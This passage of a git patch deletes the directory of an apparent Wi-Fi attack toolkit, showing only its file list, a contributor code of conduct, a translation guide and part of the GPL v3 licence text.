From 936cf4d7b33e98d8c1686312e5872dd2e0670d6f Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Thu, 14 Mar 2019 00:38:42 -0500 Subject: [PATCH] Merged repositories. --- fluxion_origins/CODE_OF_CONDUCT.md | 46 - fluxion_origins/CONTRIBUTING.md | 10 - fluxion_origins/LICENSE | 674 ----- fluxion_origins/README.md | 87 - fluxion_origins/_config.yml | 1 - .../attacks/Captive Portal/attack.sh | 1490 ----------- .../attacks/Captive Portal/generic/assets | 2217 ----------------- .../generic/languages/Arabic.lang | 10 - .../generic/languages/Bulgarian.lang | 10 - .../generic/languages/Chinese.lang | 10 - .../generic/languages/Czech.lang | 10 - .../generic/languages/Danish.lang | 10 - .../generic/languages/Dutch.lang | 10 - .../generic/languages/English.lang | 10 - .../generic/languages/French.lang | 10 - .../generic/languages/German.lang | 10 - .../generic/languages/Greek.lang | 10 - .../generic/languages/Hebrew.lang | 10 - .../generic/languages/Hungarian.lang | 10 - .../generic/languages/Indonesian.lang | 10 - .../generic/languages/Italian.lang | 10 - .../generic/languages/Norweigan.lang | 10 - .../generic/languages/Polish.lang | 10 - .../generic/languages/Portuguese.lang | 10 - .../generic/languages/Romanian.lang | 10 - .../generic/languages/Russian.lang | 10 - .../generic/languages/Serbian.lang | 10 - .../generic/languages/Slovak.lang | 10 - .../generic/languages/Slovenian.lang | 10 - .../generic/languages/Spanish.lang | 10 - .../generic/languages/Thai.lang | 10 - .../generic/languages/Turkish.lang | 10 - .../attacks/Captive Portal/language/ar.sh | 35 - .../attacks/Captive Portal/language/cs.sh | 35 - .../attacks/Captive Portal/language/de.sh | 35 - .../attacks/Captive Portal/language/el.sh | 35 - .../attacks/Captive Portal/language/en.sh | 35 - .../attacks/Captive Portal/language/es.sh | 35 - .../attacks/Captive Portal/language/fr.sh | 35 - .../attacks/Captive Portal/language/it.sh | 35 - .../attacks/Captive Portal/language/pl.sh | 35 - .../attacks/Captive Portal/language/pt-br.sh | 35 - .../attacks/Captive Portal/language/ro.sh | 35 - .../attacks/Captive Portal/language/ru.sh | 35 - .../attacks/Captive Portal/language/sk.sh | 35 - .../attacks/Captive Portal/language/sl.sh | 35 - .../attacks/Captive Portal/language/tk.sh | 35 - .../attacks/Captive Portal/language/zh.sh | 35 - .../Captive Portal/lib/authenticator.php | 67 - .../attacks/Captive Portal/lib/check.php | 8 - .../Apple/hotspot-detect.html | 2 - .../connectivity responses/Apple/index.php | 2 - .../connectivity responses/Google/blank.html | 0 .../Google/generate_204.php | 2 - .../connectivity responses/Google/index.html | 0 .../attacks/Captive Portal/lib/update.php | 9 - fluxion_origins/attacks/Captive Portal/sites | 1 - .../attacks/Handshake Snooper/attack.sh | 501 ---- .../attacks/Handshake Snooper/language/ar.sh | 31 - .../attacks/Handshake Snooper/language/cs.sh | 31 - .../attacks/Handshake Snooper/language/de.sh | 31 - .../attacks/Handshake Snooper/language/el.sh | 31 - .../attacks/Handshake Snooper/language/en.sh | 31 - .../attacks/Handshake Snooper/language/es.sh | 31 - .../attacks/Handshake Snooper/language/fr.sh | 31 - .../attacks/Handshake Snooper/language/it.sh | 31 - .../attacks/Handshake Snooper/language/pl.sh | 31 - .../Handshake Snooper/language/pt-br.sh | 31 - .../attacks/Handshake Snooper/language/ro.sh | 31 - .../attacks/Handshake Snooper/language/ru.sh | 31 - .../attacks/Handshake Snooper/language/sk.sh | 31 - .../attacks/Handshake Snooper/language/sl.sh | 31 - .../attacks/Handshake Snooper/language/tk.sh | 31 - .../attacks/Handshake Snooper/language/zh.sh | 31 - fluxion_origins/bin/arch/PKGBUILD | 66 - fluxion_origins/docs/man/fluxion.1 | 76 - fluxion_origins/docs/man/fluxion.man | 92 - fluxion_origins/fluxion.sh | 1889 -------------- fluxion_origins/language/ar.sh | 97 - fluxion_origins/language/cs.sh | 97 - fluxion_origins/language/de.sh | 97 - fluxion_origins/language/el.sh | 97 - fluxion_origins/language/en.sh | 97 - fluxion_origins/language/es.sh | 97 - fluxion_origins/language/fr.sh | 97 - fluxion_origins/language/it.sh | 97 - fluxion_origins/language/pl.sh | 97 - fluxion_origins/language/pt-br.sh | 97 - fluxion_origins/language/ro.sh | 97 - fluxion_origins/language/ru.sh | 97 - fluxion_origins/language/sk.sh | 97 - fluxion_origins/language/sl.sh | 97 - fluxion_origins/language/tk.sh | 97 - fluxion_origins/language/zh.sh | 97 - fluxion_origins/lib/ArrayUtils.sh | 30 - fluxion_origins/lib/ColorUtils.sh | 69 - fluxion_origins/lib/FormatUtils.sh | 193 -- fluxion_origins/lib/HashUtils.sh | 95 - fluxion_origins/lib/Help.sh | 96 - fluxion_origins/lib/IOUtils.sh | 149 -- fluxion_origins/lib/InterfaceUtils.sh | 182 -- fluxion_origins/lib/SandboxUtils.sh | 37 - fluxion_origins/lib/ap/airbase-ng.sh | 89 - fluxion_origins/lib/ap/hostapd.sh | 98 - .../lib/installer/InstallerUtils.sh | 293 --- fluxion_origins/lib/installer/managers/apt.sh | 46 - .../lib/installer/managers/emerge.sh | 23 - .../lib/installer/managers/pacman.sh | 31 - fluxion_origins/lib/installer/managers/yum.sh | 23 - .../lib/installer/managers/zypp.sh | 23 - fluxion_origins/logos/logo.jpg | Bin 152551 -> 0 bytes fluxion_origins/misc/devices.xml | 2164 ---------------- fluxion_origins/preferences/.gitkeep | 0 fluxion_origins/scripts/debug.sh | 6 - fluxion_origins/scripts/diagnostics.sh | 101 - fluxion_origins/scripts/preferences.sh | 6 - {fluxion_origins/misc => misc}/README.md | 0 .../misc => misc}/check_device.sh | 0 {fluxion_origins/misc => misc}/devices.json | 0 119 files changed, 13852 deletions(-) delete mode 100644 fluxion_origins/CODE_OF_CONDUCT.md delete mode 100644 fluxion_origins/CONTRIBUTING.md delete mode 100644 fluxion_origins/LICENSE delete mode 100644 fluxion_origins/README.md delete mode 100644 fluxion_origins/_config.yml delete mode 100755 fluxion_origins/attacks/Captive Portal/attack.sh delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/assets delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Arabic.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Bulgarian.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Chinese.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Czech.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Danish.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Dutch.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/English.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/French.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/German.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Greek.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Hebrew.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Hungarian.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Indonesian.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Italian.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Norweigan.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Polish.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Portuguese.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Romanian.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Russian.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Serbian.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Slovak.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Slovenian.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Spanish.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Thai.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/generic/languages/Turkish.lang delete mode 100644 fluxion_origins/attacks/Captive Portal/language/ar.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/cs.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/de.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/el.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/en.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/es.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/fr.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/it.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/pl.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/pt-br.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/ro.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/ru.sh delete mode 100644 fluxion_origins/attacks/Captive Portal/language/sk.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/sl.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/tk.sh delete mode 100755 fluxion_origins/attacks/Captive Portal/language/zh.sh delete mode 100644 fluxion_origins/attacks/Captive Portal/lib/authenticator.php delete mode 100644 fluxion_origins/attacks/Captive Portal/lib/check.php delete mode 100644 fluxion_origins/attacks/Captive Portal/lib/connectivity responses/Apple/hotspot-detect.html delete mode 100644 fluxion_origins/attacks/Captive Portal/lib/connectivity responses/Apple/index.php delete mode 100644 fluxion_origins/attacks/Captive Portal/lib/connectivity responses/Google/blank.html delete mode 100644 fluxion_origins/attacks/Captive Portal/lib/connectivity responses/Google/generate_204.php delete mode 100644 fluxion_origins/attacks/Captive Portal/lib/connectivity responses/Google/index.html delete mode 100644 fluxion_origins/attacks/Captive Portal/lib/update.php delete mode 160000 fluxion_origins/attacks/Captive Portal/sites delete mode 100755 fluxion_origins/attacks/Handshake Snooper/attack.sh delete mode 100644 fluxion_origins/attacks/Handshake Snooper/language/ar.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/cs.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/de.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/el.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/en.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/es.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/fr.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/it.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/pl.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/pt-br.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/ro.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/ru.sh delete mode 100644 fluxion_origins/attacks/Handshake Snooper/language/sk.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/sl.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/tk.sh delete mode 100755 fluxion_origins/attacks/Handshake Snooper/language/zh.sh delete mode 100644 fluxion_origins/bin/arch/PKGBUILD delete mode 100644 fluxion_origins/docs/man/fluxion.1 delete mode 100644 fluxion_origins/docs/man/fluxion.man delete mode 100755 fluxion_origins/fluxion.sh delete mode 100644 fluxion_origins/language/ar.sh delete mode 100755 fluxion_origins/language/cs.sh delete mode 100755 fluxion_origins/language/de.sh delete mode 100755 fluxion_origins/language/el.sh delete mode 100755 fluxion_origins/language/en.sh delete mode 100755 fluxion_origins/language/es.sh delete mode 100755 fluxion_origins/language/fr.sh delete mode 100755 fluxion_origins/language/it.sh delete mode 100644 fluxion_origins/language/pl.sh delete mode 100755 fluxion_origins/language/pt-br.sh delete mode 100755 fluxion_origins/language/ro.sh delete mode 100755 fluxion_origins/language/ru.sh delete mode 100644 fluxion_origins/language/sk.sh delete mode 100755 fluxion_origins/language/sl.sh delete mode 100755 fluxion_origins/language/tk.sh delete mode 100755 fluxion_origins/language/zh.sh delete mode 100755 fluxion_origins/lib/ArrayUtils.sh delete mode 100755 fluxion_origins/lib/ColorUtils.sh delete mode 100755 fluxion_origins/lib/FormatUtils.sh delete mode 100755 fluxion_origins/lib/HashUtils.sh delete mode 100755 fluxion_origins/lib/Help.sh delete mode 100755 fluxion_origins/lib/IOUtils.sh delete mode 100755 fluxion_origins/lib/InterfaceUtils.sh delete mode 100755 fluxion_origins/lib/SandboxUtils.sh delete mode 100755 fluxion_origins/lib/ap/airbase-ng.sh delete mode 100755 fluxion_origins/lib/ap/hostapd.sh delete mode 100755 fluxion_origins/lib/installer/InstallerUtils.sh delete mode 100755 fluxion_origins/lib/installer/managers/apt.sh delete mode 100755 fluxion_origins/lib/installer/managers/emerge.sh delete mode 100755 fluxion_origins/lib/installer/managers/pacman.sh delete mode 100755 fluxion_origins/lib/installer/managers/yum.sh delete mode 100755 fluxion_origins/lib/installer/managers/zypp.sh delete mode 100644 fluxion_origins/logos/logo.jpg delete mode 100644 fluxion_origins/misc/devices.xml delete mode 100644 fluxion_origins/preferences/.gitkeep delete mode 100755 fluxion_origins/scripts/debug.sh delete mode 100755 fluxion_origins/scripts/diagnostics.sh delete mode 100755 fluxion_origins/scripts/preferences.sh rename {fluxion_origins/misc => misc}/README.md (100%) rename {fluxion_origins/misc => misc}/check_device.sh (100%) rename {fluxion_origins/misc => misc}/devices.json (100%) diff --git a/fluxion_origins/CODE_OF_CONDUCT.md b/fluxion_origins/CODE_OF_CONDUCT.md deleted file mode 100644 index eaf09ef..0000000 --- a/fluxion_origins/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,46 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at deltax.fluxion@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ diff --git a/fluxion_origins/CONTRIBUTING.md b/fluxion_origins/CONTRIBUTING.md deleted file mode 100644 index ce09879..0000000 --- a/fluxion_origins/CONTRIBUTING.md +++ /dev/null @@ -1,10 +0,0 @@ -# Adding language files -1. Copy the English language files from -``` -./attacks/Handshake Snooper/language/en.sh -./attacks/Captive Portal/language/en.sh -./language/en.sh -``` -2. Translate -3. Save them as `LANGUAGE_CODE.sh` to respective locations. -Resource: [LANGUAGE_CODE](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) (ISO 639-1) diff --git a/fluxion_origins/LICENSE b/fluxion_origins/LICENSE deleted file mode 100644 index 9cecc1d..0000000 --- a/fluxion_origins/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives 